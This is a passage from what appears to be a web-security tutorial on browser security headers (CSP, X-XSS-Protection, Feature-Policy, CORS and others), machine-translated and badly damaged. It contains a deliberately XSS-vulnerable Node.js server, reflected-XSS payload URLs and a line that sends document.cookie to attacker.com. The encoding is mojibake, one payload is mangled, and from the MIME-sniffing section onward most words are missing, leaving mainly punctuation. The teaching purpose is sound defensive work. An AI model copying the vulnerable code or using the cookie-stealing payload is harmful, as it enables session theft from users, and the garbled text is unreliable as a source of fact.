рд╕реАрдзреЗ HTML рдореЗрдВ рдореБрджреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

рдпрд╣ рдПрдХ рдЕрдкреНрд░рд┐рдп рдкрд░рд┐рдгрд╛рдо рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рд┐рдВрдХ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордп рдФрд░ рдзреИрд░реНрдп рд╣реИ, рддреЛ рдЖрдк рд╕реАрдПрд╕рдкреА рдХреА рдкреВрд░реА рд╢рдХреНрддрд┐ рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рд╕рдордЭ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВрдиреЗ рдПрдХ рдХреНрд╡реЗрд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝рд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ CSP рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо CSP рд╕рдХреНрд╖рдо рдХреЗ рд╕рд╛рде рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг URL рдкрд░ рдЬрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ : 7888 /? рдЦреЛрдЬ =% 3Ccript + рдкреНрд░рдХрд╛рд░% 3D 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27% 27 20%% 20%% 20%% 20%% 27% 29% 3C% 2F% 5% 3F & csp = on
рдЫрд╡рд┐

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рджреЗрдЦрддреЗ рд╣реИрдВ, рд╣рдордиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдмрддрд╛рдпрд╛ рдХрд┐ рд╣рдорд╛рд░реА CSP рдиреАрддрд┐ рдХреЗрд╡рд▓ рд╡рд░реНрддрдорд╛рди URL рдХреЗ рдЙрд╕реА рд╕реНрд░реЛрдд рд╕реЗ рд╢рд╛рдорд┐рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рдХрд░реНрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ URL рддрдХ рдЖрд╕рд╛рдиреА рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реИрдбрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

рдЪреВрдВрдХрд┐ XSS рд╣рдорд▓реЗ рдХреЛ рдПрдХ рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ (HTML рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рд╕реАрдзреЗ рд▓рд┐рдкрд┐рдмрджреНрдз) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдиреЗ рд╡рд┐рдирдореНрд░рддрд╛рдкреВрд░реНрд╡рдХ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛, рдЬрд┐рд╕рд╕реЗ рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рдЧрдИред рдХрд▓реНрдкрдирд╛ рдХреАрдЬрд┐рдП рдХрд┐ рд╕рд┐рд░реНрдл рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рд╕рдВрд╡рд╛рдж рдмреЙрдХреНрд╕ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреБрдЫ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдбреЛрдореЗрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░реЗрдЧрд╛, рдЬреЛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддрд╛ рд╣реИ:

 window.location = `attacker.com/${document.cookie}` 

рд╡реЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдХреАрдЬрд╝ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдмрд╣реБрдд рдЧреЛрдкрдиреАрдп рдбреЗрдЯрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЕрдЧрд▓реЗ рд▓реЗрдЦ рдореЗрдВ рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ)ред

рдЕрдм рддрдХ, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╕реАрдПрд╕рдкреА рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдкрд░ рдХрд┐рддрдиреЗ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рд╣рдорд╛рд░реА рдорджрдж рдХрд░рддрд╛ рд╣реИред рдЖрдк рдПрдХ рдиреАрддрд┐ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЙрд╕ рдиреАрддрд┐ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░рддреЗ рд╣реБрдП рдЗрд╕рдХрд╛ рд╕рдЦреНрддреА рд╕реЗ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред

CSP рдХреЗ рд▓рд┐рдП рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рдХрд▓реНрдк рдХреЗрд╡рд▓ рд░рд┐рдкреЛрд░реНрдЯ рдореЛрдб рд╣реИред Content-Security-Policy рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЖрдк рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреА рд╕рд╛рдЗрдЯ рдкрд░ рд╕реАрдПрд╕рдкреА рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдХреЗрд╡рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд┐рдП рдмрд┐рдирд╛ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рдиреЗ, рдЖрджрд┐ Content-Security-Policy-Report-Only рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрддрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд░рд┐рдкреЛрд░реНрдЯ рдЖрдкрдХреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧреА рдХрд┐ рд╕реАрдПрд╕рдкреА рдиреАрддрд┐ рдХреЗ рдХрд╛рд░рдг рдХреНрдпрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ рдЕрдиреБрд╕рд╛рд░ рддреИрдирд╛рдд рдХрд░рдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдареАрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рд╣рдо рд░рд┐рдкреЛрд░реНрдЯ URL рднреА рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╣рдореЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рднреЗрдЬреЗрдЧрд╛ред рдпрд╣рд╛рдБ рдПрдХ рдкреВрд░реА рд░рд┐рдкреЛрд░реНрдЯ рдХреЗрд╡рд▓ рдиреАрддрд┐ рдЙрджрд╛рд╣рд░рдг рд╣реИ:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

CSP рдиреАрддрд┐рдпрд╛рдБ рд╕реНрд╡рдпрдВ рдереЛрдбрд╝реА рдЬрдЯрд┐рд▓ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

рдпрд╣ рдиреАрддрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдирд┐рдпрдореЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИ:

  • рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдЙрджрд╛ред рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ) рдХреЗрд╡рд▓ scripts.example.com рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ
  • рдЫрд╡рд┐рдпрд╛рдБ рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ ( img-src: * )
  • рд╡реАрдбрд┐рдпреЛ рдпрд╛ рдСрдбрд┐рдпреЛ рд╕рд╛рдордЧреНрд░реА рджреЛ рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ: medias.example.com рдФрд░ medias.legacy.example.com

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХрдИ рд░рд╛рдЬрдиреЗрддрд╛ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрджрд┐ рд╣рдо рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдПрдХ рдмрд╣реБрдд рд╣реА рдХрдард┐рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реАрдПрд╕рдкреА рдиреАрддрд┐ рд▓рд┐рдЦрдирд╛ рд╣рдорд╛рд░реЗ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд░рдд рдЬреЛрдбрд╝рдиреЗ рдХреА рджрд┐рд╢рд╛ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо рд╣реИред

CSP рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдореИрдВ developer.mozilla.org/en-US/docs/Web/HTTP/CSP рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░реВрдВрдЧрд╛ред

рдПрдХреНрд╕-XSS-рд╕рдВрд░рдХреНрд╖рдг


рд╣рд╛рд▓рд╛рдВрдХрд┐ CSP рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд, X-XSS-Protection рд╣реЗрдбрд░ рдПрдХ рд╣реА рдкреНрд░рдХрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреБрд░рд╛рдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ XSS рд╣рдорд▓реЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ CSP рдХрд╛ рдкреВрд░реА рддрд░рд╣ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╣реЗрдбрд░ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред

рдЗрд╕рдХрд╛ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдмрд╣реБрдд рдХреБрдЫ рд╡реИрд╕рд╛ рд╣реА рд╣реИ рдЬреИрд╕рд╛ рд╣рдордиреЗ рдЕрднреА рджреЗрдЦрд╛:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

рд░рд┐рдлреНрд▓реЗрдХреНрдЯреЗрдб XSS рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╣рдорд▓рд╛ рд╣реИ рдЬрдм рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкрд╛рда рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╕рддреНрдпрд╛рдкрди рдХреЗ рдкреНрд░рд┐рдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣реА рд╡рд╣ рдЬрдЧрд╣ рд╣реИ рдЬрд╣рд╛рдБ рдпрд╣ рд╣реЗрдбрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рд▓ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рд▓рд┐рдП рджреЗрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдореИрдВ github.com/odino/wasec/tree/master/xss рдкрд░ рдЙрджрд╛рд╣рд░рдг рдЖрдЬрд╝рдорд╛рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреВрдВрдЧрд╛ , рдХреНрдпреЛрдВрдХрд┐ URL рдореЗрдВ xss=on рдЬреЛрдбрд╝рдХрд░ рдпрд╣ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ рдЬрдм XSS рд╕реБрд░рдХреНрд╖рд╛ рд╕рдХреНрд╖рдо рд╣реЛрддреА рд╣реИред ред рдпрджрд┐ рд╣рдо рдЦреЛрдЬ рдлрд╝реАрд▓реНрдб рдореЗрдВ рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдЯреНрд░рд┐рдВрдЧ рджрд░реНрдЬ рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдирдореНрд░рддрд╛ рд╕реЗ рдордирд╛ рдХрд░ рджреЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдирд┐рд░реНрдгрдп рдХрд╛ рдХрд╛рд░рдг рдмрддрд╛рддрд╛ рд╣реИ:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

Chrome рдореЗрдВ CSP рдпрд╛ XSS рдиреАрддрд┐ рд╡реЗрдм рдкреЗрдЬ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реЛрдиреЗ рдкрд░ рднреА рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реИред рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬрд┐рд╕реЗ рд╣рдо рдЕрдкрдиреЗ URL рдореЗрдВ xss=off рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝рдХрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):

рдЫрд╡рд┐

рд╣реИрд░рд╛рдиреА рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рдХреНрд░реЛрдо рдкреЗрдЬ рд░реЗрдВрдбрд░рд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕рд╛рд╡рдзрд╛рдиреА рдмрд░рддрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд┐рд░рд░ рдХрд┐рдпрд╛ рд╣реБрдЖ рдПрдХреНрд╕рдПрд╕рдПрд╕ рдмрдирд╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рдпрд╣ рд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд┐рддрдиреА рджреВрд░ рдЪрд▓реЗ рдЧрдП рд╣реИрдВред

рд╕реБрд╡рд┐рдзрд╛ рдиреАрддрд┐


рдЬреБрд▓рд╛рдИ 2018 рдореЗрдВ, рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛ рд╕реНрдХреЙрдЯ рд╣реЗрд▓реНрдо рдиреЗ рдирдИ рд╕реБрд░рдХреНрд╖рд╛ рд╣реЗрдбрд▓рд╛рдЗрди: Feature-Policy рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддреЗ рд╣реБрдП рдПрдХ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ ред

рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдмрд╣реБрдд рдХрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░ (рдЗрд╕ рд▓реЗрдЦрди рдХреЗ рд╕рдордп рдХреНрд░реЛрдо рдФрд░ рд╕рдлрд╛рд░реА) рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд, рдпрд╣ рд╣реЗрдбрд░ рд╣рдореЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдкрд░ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред CSP рдХреЗ рд╕рдорд╛рди рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХреЗ рд╕рд╛рде, рд╣рдореЗрдВ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐ рдлрд╝рдВрдХреНрд╢рди рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдХреНрдпрд╛ рдЕрд░реНрде рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

рдпрджрд┐ рд╣рдореЗрдВ рд╕рднреА рд╕рдВрджреЗрд╣ рд╣реИрдВ, рддреЛ рдпрд╣ рдиреАрддрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ API рдХреЛ рдХреИрд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рддреЛ рд╣рдо рдмрд╕ рдЗрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • vibrate 'self' : рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЛ рдХрдВрдкрди рдПрдкреАрдЖрдИ рдФрд░ рд╡рд░реНрддрдорд╛рди рд╕рд╛рдЗрдЯ рдкрд░ рдХрд┐рд╕реА рднреА рдлреНрд░реЗрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • push * : рд╡рд░реНрддрдорд╛рди рдкреЗрдЬ рдФрд░ рдХреЛрдИ рднреА рдлреНрд░реЗрдо рдкреБрд╢ рдиреЛрдЯрд┐рдлрд┐рдХреЗрд╢рди рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ
  • camera 'none' : рдЗрд╕ рдкреГрд╖реНрда рдФрд░ рдХрд┐рд╕реА рднреА рдлрд╝реНрд░реЗрдо рдкрд░ рдХреИрдорд░рд╛ API рддрдХ рдкрд╣реБрдБрдЪ рд╕реЗ рд╡рдВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ

рдлрд╝реАрдЪрд░ рдкреЙрд▓рд┐рд╕реА рдХрд╛ рдереЛрдбрд╝рд╛ рдЗрддрд┐рд╣рд╛рд╕ рд╣реИред рдпрджрд┐ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реЗрд▓реНрдлреА рд▓реЗрдиреЗ рдпрд╛ рдСрдбрд┐рдпреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рддреЛ рдРрд╕реА рдкреЙрд▓рд┐рд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ рдЬреЛ рдЖрдкрдХреЗ рдкреЗрдЬ рдХреЛ рдЕрдиреНрдп рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдПрдкреАрдЖрдИ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдПрдХреНрд╕-рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░-рд╡рд┐рдХрд▓реНрдк


рдХрднреА-рдХрднреА рд╕реНрдорд╛рд░реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдиреБрдХрд╕рд╛рди рдкрд╣реБрдВрдЪрд╛рддреА рд╣реИрдВред рдПрдХ рдкреНрд░рдореБрдЦ рдЙрджрд╛рд╣рд░рдг MIME рд╕реВрдБрдШрдиреЗ рдХреА рддрдХрдиреАрдХ рд╣реИ, рдЬреЛ Internet Explorer рдореЗрдВ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИред

MIME- тАФ ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: ┬л┬╗ , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , ┬л┬╗, . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)


JavaScript HTTP- . , AJAX- example.com example.com .

, тАФ cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , ┬л┬╗ CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on

рдЫрд╡рд┐

cors URL, :

рдЫрд╡рд┐

, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :

рдЫрд╡рд┐

POST , , ┬л ┬╗. , OPTIONS , . , , POST .

:

  • CORS тАФ . , , , .
  • API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies


CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy


, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

  • no-referrer : Referer
